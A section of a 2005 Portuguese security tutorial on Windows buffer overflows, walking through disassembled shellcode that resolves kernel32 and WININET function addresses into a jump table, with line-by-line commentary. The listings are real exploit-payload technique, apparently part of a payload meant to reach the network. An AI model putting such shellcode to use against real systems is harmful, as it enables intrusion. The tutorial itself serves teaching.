A Aldeia Numaboa ancestral ainda está disponível para visitação. É a versão mais antiga da Aldeia que eu não quis simplesmente descartar depois de mais de 10 milhões de pageviews. Como diz a Sirley, nossa cozinheira e filósofa de plantão: "Misericórdia, ai que dó!"

Se você tiver curiosidade, o endereço é numaboa.net.br.

Leia mais...

Segurança

Buffer overflow no Windows

Sab

5

Nov

2005


23:55

(2 votos, média 5.00 de 5) 


     0000017C: 51                           push   ecx
     0000017D: 53                           push   ebx
     0000017E: 56                           push   esi
     0000017F: FF157810606A                 call   d,[06A601078]
     00000185: AB                           stosd
     00000186: 59                           pop    ecx

Isto pega os endereços dos procedimentos das nossas funções e os coloca na tabela apontada por EDI.

     00000187: E2EA                         loop   000000173   ---------- (2)

Loop para todos os procedimentos do kernel.

Agora que acabamos com o kernel, precisamos repetir tudo para os procedimentos da WININET.

     00000189: 43                           inc    ebx
     0000018A: 32C0                         xor    al,al
     0000018C: D7                           xlat
     0000018D: 84C0                         test   al,al
     0000018F: 75F8                         jne    000000189   ---------- (2)
     00000191: 43                           inc    ebx

Este código só existe para mover EBX para além do nome da última função do kernel e para a string "WININET" da tabela de strings decodificada.

     00000192: 53                           push   ebx
     00000193: 53                           push   ebx
     00000194: FF157C10606A                 call   d,[06A60107C]
     0000019A: 8BF0                         mov    esi,eax
     0000019C: 90                           nop
     0000019D: 90                           nop
     0000019E: 90                           nop
     0000019F: 90                           nop

É isso mesmo, os NOPs e os PUSH duplos são lixo de debugação. Se quiser, pode anulá-los com NOP. Este código pega os manipuladores dos módulos (endereço base) da WININET.DLL. Ele os guarda em ESI.

     000001A0: 33C9                         xor    ecx,ecx
     000001A2: 83E9FC                       sub    ecx,-004
     000001A5: 43                           inc    ebx
     000001A6: 32C0                         xor    al,al
     000001A8: D7                           xlat
     000001A9: 84C0                         test   al,al
     000001AB: 75F8                         jne    0000001A5
     000001AD: 43                           inc    ebx
     000001AE: 51                           push   ecx
     000001AF: 53                           push   ebx
     000001B0: 56                           push   esi
     000001B1: FF157810606A                 call   d,[06A601078]
     000001B7: AB                           stosd
     000001B8: 59                           pop    ecx
     000001B9: E2EA                         loop   0000001A5

Este código é apenas uma cópia do usado para obter os endereços das funções do kernel, só que, desta vez, está pegando os endereçõs das 4 funções da WININET. Por isto, não há necessidade de explicar tudo novamente. Muito bem, a tabela de saltos está pronta. EDI aponta para o dword depois do fim da tabela de saltos de modo que agora podemos referenciar os procedimentos indiretamente através de EDI (call dword ptr [edi-16]). É como se fosse uma tabela de importação, porém muito mais divertido!

Informações adicionais